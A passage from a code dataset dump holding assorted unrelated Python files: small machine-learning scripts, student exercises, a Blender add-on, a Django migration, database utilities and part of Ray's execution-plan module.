\" + i\n if img_lst != []:\r\n return [top_picture[2:], img_lst[0]]\n else:\n return [\"\",\"\"]\n","sub_path":"new version test 4.py","file_name":"new version test 4.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"250029080","text":"#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\n\"\"\"\n:Author: Guajajaras\n:Contact: `Guajajaras `__\n:Date: $Date: 2009/03/24$\n:Status: This is a \"work in progress\"\n:Revision: $Revision: 1.00$\n:Home: `LABASE `__\n:Copyright: ©2009, `GPL `__\n\"\"\"\n\nfrom visual import *\n\n'''\nClasse base de qualquer ser marinho\n'''\n \nclass SerMarinho():\n def __init__(self, escala= 5, **qualquel_outro_parametro):\n \"Construtor do ser marinho, definindo um esqueleto(frame) e desenhando\"\n self.esqueleto=frame(**qualquel_outro_parametro)\n self.desenha(escala)\n def desenha(self): pass\n'''\nEsta classe é uma especialização da classe SerMarinho...\n'''\nclass Traira(SerMarinho):\n def desenha(self, escala=1):\n s=escala\n cabeca01 = ellipsoid(frame = self.esqueleto, pos=(5*escala,escala,0), length=10*escala, height=9*escala, width=8*escala, color=color.green)\n cabeca02 = cone(frame = self.esqueleto, pos=(0,3*escala,0), axis=(6*escala,2*escala,0), radius=3*escala, color=color.green, opacity=1)\n boca = ring(frame = self.esqueleto, pos=(10*escala,escala,0), axis=(escala,0,0), radius=escala, thickness=0.5*escala, color=color.red)\n olho01 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,3*escala), radius=escala, opacity=0.5)\n olho02 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,3*escala), radius=.5*escala, color=color.black)\n olho11 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,-3*escala), radius=escala, opacity=.5)\n olho02 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,-3*escala), radius=.5*escala, color=color.black)\n corpo01 = sphere(frame = self.esqueleto, pos=(-1*escala,0,0), radius=6*escala, color = color.green, opacity=1)\n rabo1 = pyramid(frame = self.esqueleto, pos=(-12*escala,0,0), size=(12*escala,12*escala,.3*escala), color=color.green)\n rabo2 = pyramid(frame = self.esqueleto, pos=(-10*escala,0,2*escala), size=(6*escala,6*escala,.3*escala), axis=(1*escala,0,-0.4*escala), color=color.blue)\n rabo3 = pyramid(frame = self.esqueleto, pos=(-10*escala,0,-2*escala), size=(6*escala,6*escala,.3*escala), axis=(1*escala,0,0.4*escala), color=color.blue)\n dorsal1 = pyramid(frame = self.esqueleto, pos=(-4*escala,4*escala,0), size=(8*escala,15*escala,.3*escala), axis=(2*escala,.2*escala,0),color=color.green)\n peitoralBE = pyramid(frame = self.esqueleto, pos=(-2*escala,-1*escala,9*escala), size=(12*escala,6*escala,.3*escala), axis=(2*escala,.2*escala,-4*escala),color=color.blue)\n peitoralBB = pyramid(frame = self.esqueleto, pos=(-2*escala,-1*escala,-9*escala), size=(12*escala,6*escala,.3*escala), axis=(2*escala,.2*escala,4*escala),color=color.blue)\n\n\n def rotate (self, angle=0.0, axis=(0,0,0), origin=(0,0,0)):\n self.esqueleto.rotate(angle=angle, axis=axis, origin=origin)\n\n def move (self, pos=(0,0,0)):\n self.esqueleto.pos = pos\n","sub_path":"poo09/kuarup/tribos/potiguara/peixe_guajajara.py","file_name":"peixe_guajajara.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"480249544","text":"import os\nimport argparse\nimport glob\nfrom thunder.sigprocessing.util import SigProcessingMethod\nfrom thunder.util.load import load\nfrom thunder.util.save import save\nfrom pyspark import SparkContext\n\n\ndef stats(data, statistic):\n \"\"\"compute summary statistics on every data point\n\n arguments:\n data - RDD of data points\n mode - which statistic to compute (\"median\", \"mean\", \"std\", \"norm\")\n\n returns:\n vals - RDD of statistics\n \"\"\"\n\n method = SigProcessingMethod.load(\"stats\", statistic=statistic)\n vals = method.calc(data)\n\n return vals\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"compute summary statistics on time series data\")\n parser.add_argument(\"master\", type=str)\n parser.add_argument(\"datafile\", type=str)\n parser.add_argument(\"outputdir\", type=str)\n parser.add_argument(\"mode\", choices=(\"mean\", \"median\", \"std\", \"norm\"),\n help=\"which summary statistic\")\n parser.add_argument(\"--preprocess\", choices=(\"raw\", \"dff\", \"dff-highpass\", \"sub\"), default=\"raw\", required=False)\n\n args = parser.parse_args()\n\n sc = SparkContext(args.master, \"stats\")\n\n if args.master != \"local\":\n egg = glob.glob(os.path.join(os.environ['THUNDER_EGG'], \"*.egg\"))\n sc.addPyFile(egg[0])\n\n data = load(sc, args.datafile, args.preprocess).cache()\n\n vals = stats(data, args.mode)\n\n outputdir = args.outputdir + \"-stats\"\n\n save(vals, outputdir, \"stats_\" + args.mode, \"matlab\")","sub_path":"python/thunder/sigprocessing/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"235411550","text":"import pyro\nimport numpy as np\nfrom model_bayes_nn_m1 import NN_Model, get_pyro_model\nimport matplotlib.pyplot as plt\nimport torch\nfrom data_gauss_bayes import get_dataset, seed_everything\nfrom eval_gauss_bayes_m2 import trace_summary\nfrom tqdm import tqdm\nfrom datetime import datetime\nimport os\nimport pdb\nimport torch.nn.functional as F\nfrom pyro.infer import Trace_ELBO, TraceEnum_ELBO, config_enumerate\nimport pyro.poutine as poutine\n\n# enable validation (e.g. validate parameters of distributions)\nassert pyro.__version__.startswith('0.3.1')\n#pyro.enable_validation(True)\n\n# We'll ue this helper to check our models are correct.\ndef test_model(model, guide, loss):\n pyro.clear_param_store()\n loss.loss(model, guide)\n\n#pdb.set_trace()\n\nEPOCHS = 1000\n\n\ndef train_nn(training_generator):\n regression_model = RegressionModel(p=1)\n optim = torch.optim.Adam(regression_model.parameters(), lr=0.0001)\n loss_fn = torch.nn.MSELoss(reduction='sum')\n\n for e in range(EPOCHS):\n losses = []\n for x_data, y_data in tqdm(training_generator):\n # calculate the loss and take a gradient step\n y_pred = regression_model(x_data)\n loss = loss_fn(y_pred, y_data)\n optim.zero_grad()\n loss.backward()\n optim.step()\n losses.append(loss.item())\n print(np.mean(losses))\n\n for name, param in regression_model.named_parameters():\n print(name, param.data.cpu().numpy())\n\n\ndef train_bayes(training_generator):\n pass\n\n\ndef save():\n save_model = input(\"save model > \")\n\n if save_model.lower().startswith('y'):\n experiment_id = input(\"Enter exp name, press return to use datetime> \")\n if not experiment_id:\n experiment_id = datetime.now().isoformat()\n\n if os.environ['HOSTNAME'] == 'fractal':\n SAVE_PATH = f'/hdd/bdhammel/checkpoints/bayes/{experiment_id}'\n else:\n SAVE_PATH = f'/usr/WS1/hammel1/proj/checkpoints/bayes/{experiment_id}'\n\n print(\"Saving to :\", SAVE_PATH)\n pyro.get_param_store().save(SAVE_PATH + '.params')\n\n save_data = input(\"save data > \")\n if save_data.lower().startswith('y'):\n dataset = training_generator.dataset\n dataset.save(SAVE_PATH)\n else:\n print(f\"input was {save_model} not saving model\")\n\n\nif __name__ == '__main__':\n seed_everything()\n pyro.clear_param_store()\n training_generator = get_dataset(mu=0.6, std=0.2, amp=0.1, batch_size=256)\n\n svi, model, guide = get_pyro_model(return_all=True)\n\n loss_hist = []\n for e in range(EPOCHS):\n losses = []\n for x_data, y_data in tqdm(training_generator):\n losses.append(svi.step(x_data, y_data))\n \n #test_model(model(x_data,y_data), model(x_data,y_data), Trace_ELBO())\n\n loss_hist.append(np.mean(losses))\n print(f\"epoch {e}/{EPOCHS} :\", loss_hist[-1])\n\n trace = poutine.trace(model).get_trace(x_data, y_data)\n trace.compute_log_prob() # optional, but allows printing of log_prob shapes\n print(trace.format_shapes())\n\n plt.plot(loss_hist)\n plt.yscale('log')\n plt.title(\"ELBO\")\n plt.xlabel(\"step\")\n plt.ylabel(\"Epoch loss\")\n\n df = trace_summary(svi, model, x_data, y_data)\n\n for name, value in pyro.get_param_store().items():\n print(name, pyro.param(name))\n\n #evaluate()\n # train_nn(training_generator)\n # train_bayes(training_generator)\n # save()\n","sub_path":"simple_gauss_pyro/train_gauss_bayes.py","file_name":"train_gauss_bayes.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"470136868","text":"import pandas as pd\r\nimport numpy as np\r\nimport sklearn\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn import linear_model\r\nimport matplotlib.pyplot as pyplot\r\nimport pickle\r\nfrom matplotlib import style\r\n\r\n#uploading dataset\r\ndata = pd.read_csv('student-mat.csv', sep=';')\r\n\r\ndata = data[['G1', 'G2', 'G3', 'studytime', 'failures', 'absences']]\r\n\r\n#Predicting \"G3\" which is the final grade\r\npredict = 'G3'\r\n\r\n#dropping the actual final grade data\r\nx = np.array(data.drop([predict], 1))\r\n\r\n#specifying our y \"prediction\"\r\ny = np.array(data[predict])\r\n\r\n#Train Test Split\r\nx_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size=0.1)\r\n\r\n\r\n##Linear Regression TRAIN MODEL##\r\nbest = 0.9743353123117502\r\nfor i in range(20000):\r\n x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size = 0.1)\r\n #y = mx+b\r\n\r\n\r\n linear = linear_model.LinearRegression()\r\n linear.fit(x_train, y_train)\r\n acc = linear.score(x_test, y_test)\r\n print('interation: ',i,'Accuracy: ',acc*100)\r\n\r\n if acc > best:\r\n best = acc\r\n with open('grade_predict.pickle', 'wb') as f:\r\n pickle.dump(linear, f)\r\n print(best)\r\n break\r\n\r\n\r\nload_in = open('grade_predict.pickle', 'rb')\r\nlinear = pickle.load(load_in)\r\n\r\nprint('Co-efficent: \\n', linear.coef_)\r\nprint('Intercept: \\n', linear.intercept_)\r\n\r\npredictions = linear.predict(x_test)\r\n\r\n\r\n\r\n\r\n#KNeighborClassifier Model#\r\n'''best = .725\r\nfor i in range(2000000):\r\n #training function with SKLEARN ###Test size is used for the amount of data tested. 0.2 for example will test more,sacrificing performance.\r\n x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size=0.1)\r\n ###TESTING POINT####\r\n model = KNeighborsClassifier(n_neighbors=9)\r\n ###TRAINING MODEL###\r\n model.fit(x_train,y_train)\r\n acc = model.score(x_test,y_test)\r\n print('interation: ', i, 'Accuracy: ', acc * 100)\r\n\r\n if acc > best:\r\n best = acc\r\n with open('My_model(KNN).pickle', 'wb') as f:\r\n pickle.dump(model, f)\r\n print(best)\r\n break\r\n\r\nload_in = open('My_model(KNN).pickle', 'rb')\r\nmodel = pickle.load(load_in)\r\n\r\n\r\n\r\npredictions = model.predict(x_test)'''\r\n\r\nlabel = ['G1', 'G2', 'studytime', 'failures', 'absences']\r\n\r\n#printing the prediction data compared to actual\r\nfor i in range(len(predictions)):\r\n print('Prediction:',predictions[i]*5 , 'Data:',x_test[i], 'Actual:',y_test[i]*5 )\r\n\r\n'''#GRAPH VISUAL#\r\np = 'G1'\r\nQ = 'G2'\r\na = 'absences'\r\nstyle.use('ggplot')\r\npyplot.scatter(data[predict]*Grade_balancer,data[a]*Grade_balancer)\r\npyplot.xlabel('Final')\r\npyplot.ylabel('Absences')\r\npyplot.show()'''\r\n","sub_path":"LR_PredictGrade.py","file_name":"LR_PredictGrade.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"39588582","text":"import numpy as np \nimport copy\nimport collections\n\n\nh = 1e-5\n\nclass Softmax():\n def __init__(self, num_of_input=19422, num_of_output=5, lr=1):\n \"\"\"\n x:\n (19422, 1)\n y:\n (5, 1)\n \"\"\"\n self.num_of_class = None\n self.w = np.random.randn(num_of_input, num_of_output)\n self.lr = lr\n self.x = None\n self.y_ = None\n self.grad = 0\n self.loss = 0\n\n def softmax(self, x):\n z = np.exp(x - np.max(x,axis=0))\n return z / (np.sum(z))\n\n def cross_entroy(self, y):\n return np.sum(np.sum(-1 * y * (np.log2(self.y_ + h)), axis=0))\n \n def forward(self, x):\n self.x = x\n self.y_ = self.softmax(self.w.T.dot(x)) \n return self.y_\n\n def criterion(self, y):\n self.loss += self.cross_entroy(y)\n \n def backward(self, y):\n self.grad += self.x.dot((y - self.y_).T)\n \n def step(self, bs):\n self.w += self.lr * self.grad / bs\n self.loss = 0 \n self.grad = 0\n\n def predict(self, x):\n return self.forward(x)\n \n def fit(self, x, y, debug=False):\n \n self.forward(x)\n self.criterion(y)\n self.backward(y)\n \n loss = self.loss\n\n N = x.shape[-1]\n\n self.step(N)\n \n #true, predict = y.argmax(axis=0), self.y_.argmax(axis=0)\n #acc = collections.Counter(true - predict)[0] / N\n #print(\"acc: \", acc)\n\n return loss / N\n\n\nif __name__ == \"__main__\":\n model = Softmax_torch(19422, 5)\n\n inputs = torch.randn(16, 19422)\n\n labels = torch.zeros(16)\n\n for i in range(labels.shape[0]):\n labels[i] = i % 3\n\n print(labels)\n\n optimizer = optim.SGD(model.parameters(), lr=0.001, momentum=0.9) \n\n criterion = nn.CrossEntropyLoss()\n\n for i in range(18):\n y_ = model(inputs, labels.long())\n \n loss = criterion(y_, labels.long())\n\n optimizer.zero_grad()\n\n loss.backward()\n \n optimizer.step()\n \n print(np.float(loss))\n print(model.predict(inputs))\n\n\n print(\"Done!\")\n\n","sub_path":"task1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"315520766","text":"\"\"\"\r\nLoad the data (use `pandas`) from the provided file `buddymove_holidayiq.csv`\r\n(the [BuddyMove Data\r\nSet](https://archive.ics.uci.edu/ml/datasets/BuddyMove+Data+Set)) - you should\r\nhave 249 rows, 7 columns, and no missing values. The data reflects the number of\r\nplace reviews by given users across a variety of categories (sports, parks,\r\nmalls, etc.).\r\n\r\nUsing the standard `sqlite3` module:\r\n\r\n- Open a connection to a new (blank) database file `buddymove_holidayiq.sqlite3`\r\n- Use `df.to_sql`\r\n ([documentation](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.to_sql.html))\r\n to insert the data into a new table `review` in the SQLite3 database\r\n\r\nThen write the following queries (also with `sqlite3`) to test:\r\n\r\n- Count how many rows you have - it should be 249!\r\n- How many users who reviewed at least 100 `Nature` in the category also\r\n reviewed at least 100 in the `Shopping` category?\r\n- (*Stretch*) What are the average number of reviews for each category?\r\n\r\nYour code (to reproduce all above steps) should be saved in\r\n`buddymove_holidayiq.py`, and added to the repository along with the generated\r\nSQLite database.\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport sqlite3\r\n\r\ndf = pd.read_csv('buddymove_holidayiq.csv')\r\n\r\nconn = sqlite3.connect('buddymove_holidayiq.sqlite3')\r\ndf.to_sql('buddymove_holidayiq', con=conn)\r\nconn.execute(\"SELECT * FROM buddymove_holidayiq;\").fetchone()\r\n\r\nquery_total_rows = \"\"\"\r\n\tSELECT COUNT(*)\r\n\tFROM buddymove_holidayiq;\r\n\t\"\"\"\r\ntotal_rows = conn.execute(query_total_rows).fetchone()[0]\r\nprint(\"The total rows in buddymove_holidayiq is {}\".format(total_rows))\r\n\r\nquery_reviewed = \"\"\"\r\n\tSELECT COUNT(*)\r\n\tFROM buddymove_holidayiq\r\n\tWHERE Nature > 100 \r\n\tAND Shopping > 100;\r\n\t\"\"\"\r\nreviewed = conn.execute(query_reviewed).fetchone()[0]\r\nprint(\"The total rows in buddymove_holidayiq where Shopping and\",\r\n\t\"Nature is more than 100 is {}\"\r\n\t.format(reviewed))\r\n","sub_path":"module1-introduction-to-sql/buddymove_holidayiq.py","file_name":"buddymove_holidayiq.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"206776683","text":"# MN 개 단위 정사각형으로 이루어져 있는 M * N 크기의 보드가 있다.\n# 8 * 8 체스판을 만들고 싶다.\n# 검, 흰이 번갈아서 칠해져야 하며, 변을 공유하는 2개의 사각형은 다른색으로 칠해있어야 한다.\n# 8 * 8 크기를 아무데서나 골라서 칠할 때, 다시 칠하는 최소개수를 구하고 싶다.\n\nN, M = map(int, input().split())\nboard = [list(input()) for _ in range(N)]\ncount = []\n\nfor i in range(N-7):\n for j in range(M-7):\n w_count = 0\n b_count = 0\n for row in range(i, i+8):\n for col in range(j, j+8):\n if (row+col) % 2 == 0:\n if board[row][col] != 'W':\n w_count += 1\n if board[row][col] != 'B':\n b_count += 1\n else:\n if board[row][col] != 'B':\n w_count += 1\n if board[row][col] != 'W':\n b_count += 1\n count.append(min(w_count, b_count))\nprint(min(count))","sub_path":"백준/단계별/체스판다시칠하기.py","file_name":"체스판다시칠하기.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"222786552","text":"import pickle\nimport os\nimport pandas as pd\nimport numpy as np\n\n\nclass TCGA_parser:\n\n def __init__(self, pickles_dir=\"\", verbose=True, cTypes=None):\n self.pickles_dir = pickles_dir # dir with all the pickles\n self.verbose = verbose\n self.cTypes = cTypes # cancer type\n self.translator = {} # translate label to cancer type\n # self.load_pickles2df()\n\n def load_pickles2df(self):\n \"\"\" load all the pickle tables in the directory to a single DataFrame \"\"\"\n\n # load tables and merge all data to a dictionary, res_dic\n res_dic = {}\n for cancer in self.cTypes:\n pk = self.load_pickle(os.path.join(self.pickles_dir, cancer + '.pickle'))\n res_dic.update(pk)\n\n # make a large DataFrame from all the tables, df\n df = pd.DataFrame()\n for cancer in self.cTypes:\n df = pd.concat([df, res_dic[cancer]])\n if self.verbose:\n l = np.abs(int(res_dic[cancer]['label'][0]))\n print(\"{} label={}, examples: {}\".format(cancer, l, res_dic[cancer].shape[0]))\n self.translator[l] = cancer\n self.translator[-l] = cancer + \" Normal\"\n\n # clean the table and return\n df = df.reset_index(drop=True)\n df = df.dropna(axis=1)\n return df\n\n def load_pickle(self, pickle_path):\n \"\"\" Load a pickle from 'pickle_path' and return it \"\"\"\n if not os.path.exists(pickle_path):\n print(\"No such file or directory:\\n\", pickle_path)\n return\n if self.verbose:\n print(\"loading '{}'...\".format(pickle_path[pickle_path.rfind('/') + 1:]))\n with open(pickle_path, 'rb') as handle:\n return pickle.load(handle)","sub_path":"TCGA_parser.py","file_name":"TCGA_parser.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"584368975","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Cliente',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('fecha_registro', models.DateField(null=True)),\n ('nombre', models.CharField(max_length=140, null=True)),\n ('apellidos', models.CharField(max_length=140, null=True)),\n ('celular', models.CharField(max_length=15, null=True)),\n ('telefono', models.CharField(max_length=15, null=True)),\n ('dias_credito', models.PositiveIntegerField(null=True)),\n ('imagen', models.ImageField(default=b'images/clientes/default-01.png', upload_to=b'images/clientes', null=True, verbose_name=b'Imagen Cliente', blank=True)),\n ],\n ),\n ]\n","sub_path":"cliente/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"19444031","text":"bl_info = {\n\"name\": \"Simple Add-on\",\n\"author\": \"MaggieLee\",\n\"location\": \"View3D > Tools > Simple Addon\",\n\"version\": (1, 0, 0),\n\"blender\": (2, 93, 4),\n\"description\": \"Starting point for new add-ons.\",\n\"wiki_url\": \"http://example.com\",\n\"category\": \"Development\"\n}\n\nimport bpy\n\n\nclass SimpleOperator(bpy.types.Operator):\n bl_idname = \"object.simple_operator\"\n bl_label = \"Print an Encouraging Message\"\n \n def execute(self, context):\n print(\"\\n\\n####################################################\")\n print(\"# Add-on and Simple Operator executed successfully!\")\n print(\"# \" + context.scene.encouraging_message)\n print(\"####################################################\")\n return {'FINISHED'}\n \n @classmethod\n def register(cls):\n print(\"Registered class: %s \" % cls.bl_label)\n \n #Register properties related to the class\n bpy.types.Scene.encouraging_message = bpy.props.StringProperty(\n name=\"\",\n description=\"Message to print to user\",\n default=\"Have a nice day!\")\n \n @classmethod\n def unregister(cls):\n print(\"Unregistered class: %s \" % cls.bl_label)\n \n #Delete parameters related to the class\n del bpy.types.Scene.encouraging_message\n\nclass SimplePanel(bpy.types.Panel):\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"TOOLS\"\n bl_category = \"SimpleAddon\"\n bl_label = \"Call Simple Operator\"\n bl_context = \"objectmode\"\n \n def draw(self, context):\n self.layout.operator(\"object.simple_operator\",\n text=\"Print Encouraging Message\")\n self.layout.prop(context.scene, 'encouraging_message')\n\n @classmethod\n def register(cls):\n print(\"Registered class: %s \" % cls.bl_label)\n \n @classmethod\n def unregister(cls):\n print(\"Unregistered class: %s \" % cls.bl_label)\n \ndef register():\n bpy.utils.register_class(SimpleOperator)\n bpy.utils.register_class(SimplePanel)\n print(\"%s registration complete\\n\" % bl_info.get('name'))\n \ndef unregister():\n bpy.utils.unregister_class(__name__)\n print(\"%s unregister complete\\n\" % bl_info.get('name'))\n \n\nif __name__ == \"__main__\":\n try:\n unregister()\n except Exception as e:\n #Catch failure to unregister explicitly\n print(e)\n pass\n \n register() \n ","sub_path":"simpleAddon.py","file_name":"simpleAddon.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"560875401","text":"import csv\r\nimport os\r\nfrom pydblite import Base\r\n\r\ndef convertcsv2db(csvpath, dbpath): #Converts a CSV file to a PyDBLite database\r\n db = Base(dbpath)\r\n try:\r\n csvfile = open(csvpath, 'rt')\r\n except csv.Error:\r\n print(\"Could not open CSV file at \" + csvpath + \"\\n\")\r\n reader = csv.reader(csvfile)\r\n header = next(reader)\r\n try:\r\n db.create(*header)\r\n except IOError:\r\n print(\"Existing DB at \" + dbpath + \"\\n\")\r\n for row in reader:\r\n db.insert(*row)\r\n db.commit()\r\n\r\ndef printdb(dbpath): #Prints the contents of a PyDBLite database to the console\r\n db = Base(dbpath)\r\n if db.exists():\r\n db.open()\r\n retstr = \"\"\r\n for obj in db:\r\n retstr += str(obj)\r\n retstr += \"\\n\"\r\n print(retstr)\r\n return retstr\r\n else:\r\n print(\"The database does not exist or is corrupt.\\n\")\r\ndef likeconvert(likesRoot):\r\n histPath = likesRoot + '/history'\r\n convertcsv2db(likesRoot + '/totals.csv', likesRoot + '/likes.pdl')\r\n db = Base(likesRoot + '/likes.pdl')\r\n db.open()\r\n db.add_field('history', \"\")\r\n db.add_field('liked', \"\")\r\n dirContents = os.listdir(histPath)\r\n histFiles = []\r\n\r\n for File in dirContents:\r\n if \".csv\" in File:\r\n histFiles.append(File)\r\n for histFile in histFiles:\r\n try:\r\n csvfile = open(histPath + '/' + histFile, 'rb')\r\n reader = csv.DictReader(csvfile)\r\n for row in reader:\r\n if histFile.endswith('history.csv'):\r\n recName = histFile[:-11]\r\n print(recName)\r\n if db(userID=recName):\r\n rec = db(userID=recName).pop()\r\n if not rec['liked']:\r\n db.update(rec, liked=row['liked'])\r\n else:\r\n tmpLiked = rec['liked']\r\n tmpLiked += \" \" + row['liked']\r\n db.update(rec, liked=tmpLiked)\r\n if not rec['history']:\r\n db.update(rec, history=row['messageID'])\r\n else:\r\n tmpHist = rec['history']\r\n tmpHist += \" \" + row['messageID']\r\n db.update(rec, history=tmpHist)\r\n db.commit()\r\n except csv.Error:\r\n print(\"Could not open CSV file\")\r\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"158716041","text":"def rsum(aList):\n if (len(aList) <= 1):\n return aList[0]\n else:\n return aList[0] + rsum(aList[1:])\n\n\ndef rmax(aList):\n if (len(aList) <= 1):\n return aList[0]\n else:\n if (aList[0] > aList[1]):\n return rmaxIndex(aList[2:], aList[0])\n else:\n return rmaxIndex(aList[2:], aList[1])\n\n\ndef rmaxIndex(aList, maximum):\n if (len(aList) == 0):\n return maximum\n else:\n if (aList[0] > maximum):\n return rmaxIndex(aList[1:], aList[0])\n else:\n return rmaxIndex(aList[1:], maximum)\n\n\ndef second_smallest(aList):\n small = aList[0]\n smallest = aList[1]\n if (small < smallest):\n small, smallest = smallest, small\n if (len(aList) == 2):\n return small\n else:\n if (aList[2] < smallest):\n small = smallest\n smallest = aList[2]\n if (aList[2] < small and aList[2] >= smallest):\n small = aList[2]\n return secondHelper(aList[3:], small, smallest)\n\n\ndef secondHelper(aList, small, smallest):\n if (len(aList) == 0):\n return small\n else:\n if (aList[0] < smallest):\n small = smallest\n smallest = aList[0]\n if (aList[0] < small and aList[0] >= smallest):\n small = aList[0]\n return secondHelper(aList[1:], small, smallest)\n\n\ndef sum_max_min(aList):\n if (len(aList) == 1):\n return aList[0] * 2\n elif (len(aList) == 2):\n return aList[0] + aList[1]\n else:\n maximum = aList[0]\n minimum = aList[1]\n if (maximum < minimum):\n maximum, minimum = minimum, maximum\n if (aList[2] > maximum):\n maximum = aList[2]\n if (aList[2] < minimum):\n minimum = aList[2]\n return sumHelper(aList[3:], maximum, minimum)\n\n\ndef sumHelper(aList, maximum, minimum):\n if len(aList) == 0:\n return maximum + minimum\n else:\n if (aList[0] > maximum):\n maximum = aList[0]\n elif (aList[0] < minimum):\n minimum = aList[0]\n return sumHelper(aList[1:], maximum, minimum)\n","sub_path":"School/Old/CSCA48/e3.py","file_name":"e3.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"155662826","text":"import copy\nfrom typing import (\n Callable,\n List,\n Tuple,\n Optional,\n Union,\n Iterator,\n Iterable,\n TYPE_CHECKING,\n)\nimport uuid\n\nif TYPE_CHECKING:\n import pyarrow\n\nimport ray\nfrom ray.data.context import DatasetContext\nfrom ray.data.block import Block\nfrom ray.data.impl.block_list import BlockList\nfrom ray.data.impl.compute import get_compute\nfrom ray.data.impl.stats import DatasetStats\nfrom ray.data.impl.lazy_block_list import LazyBlockList\n\n# Scheduling strategy can be inherited from prev stage if not specified.\nINHERITABLE_REMOTE_ARGS = [\"scheduling_strategy\"]\n\n\nclass Stage:\n \"\"\"Represents a Dataset transform stage (e.g., map or shuffle).\"\"\"\n\n def __init__(self, name: str, num_blocks: Optional[int]):\n self.name = name\n self.num_blocks = num_blocks\n\n def __call__(\n self, blocks: BlockList, clear_input_blocks: bool\n ) -> Tuple[BlockList, dict]:\n \"\"\"Execute this stage against the given blocks.\"\"\"\n raise NotImplementedError\n\n def can_fuse(self, other: \"Stage\") -> bool:\n \"\"\"Return whether this can be fused with another stage.\"\"\"\n raise NotImplementedError\n\n def fuse(self, other: \"Stage\") -> \"Stage\":\n \"\"\"Fuse this stage with a compatible stage.\"\"\"\n raise NotImplementedError\n\n def __repr__(self):\n return f'{type(self).__name__}(\"{self.name}\")'\n\n def __str__(self):\n return repr(self)\n\n\nclass ExecutionPlan:\n \"\"\"A lazy execution plan for a Dataset.\"\"\"\n\n # Implementation Notes:\n #\n # This lazy execution plan takes in an input block list and builds up a chain of\n # BlockList --> BlockList stages. When execution is triggered, it tries to fuse\n # together stages in order to reduce Ray task overhead and data copies.\n #\n # Internally, the execution plan holds two block lists:\n # * _in_blocks: The (possibly lazy) input block list.\n # * _snapshot_blocks: A snapshot of a computed block list, where this snapshot\n # is the cached output of executing some prefix in the stage chain.\n #\n # The stages in this execution plan are partitioned into two subchains: before the\n # snapshot and after the snapshot. When the snapshot exists from a previous\n # execution, any future executions will only have to execute the \"after the\n # snapshot\" subchain, using the snapshot as the input to that subchain.\n\n def __init__(self, in_blocks: BlockList, stats: DatasetStats, dataset_uuid=None):\n \"\"\"Create a plan with no transformation stages.\n\n Args:\n in_blocks: Base list of blocks.\n stats: Stats for the base blocks.\n dataset_uuid: Dataset's UUID.\n \"\"\"\n self._in_blocks = in_blocks\n self._in_stats = stats\n # A computed snapshot of some prefix of stages.\n self._snapshot_blocks = None\n self._snapshot_stats = None\n # Chains of stages.\n self._stages_before_snapshot = []\n self._stages_after_snapshot = []\n # Cache of optimized stages.\n self._last_optimized_stages = None\n\n self._dataset_uuid = dataset_uuid or uuid.uuid4().hex\n if not stats.dataset_uuid:\n stats.dataset_uuid = self._dataset_uuid\n\n def with_stage(self, stage: \"Stage\") -> \"ExecutionPlan\":\n \"\"\"Return a copy of this plan with the given stage appended.\n\n Args:\n stage: The stage to append.\n\n Returns:\n A new ExecutionPlan with this stage appended.\n \"\"\"\n copy = self.copy()\n copy._stages_after_snapshot.append(stage)\n return copy\n\n def copy(self) -> \"ExecutionPlan\":\n \"\"\"Create a shallow copy of this execution plan.\n\n This copy can be executed without mutating the original, but clearing the copy\n will also clear the original.\n\n Returns:\n A shallow copy of this execution plan.\n \"\"\"\n plan_copy = ExecutionPlan(self._in_blocks, self._in_stats)\n if self._snapshot_blocks is not None:\n # Copy over the existing snapshot.\n plan_copy._snapshot_blocks = self._snapshot_blocks\n 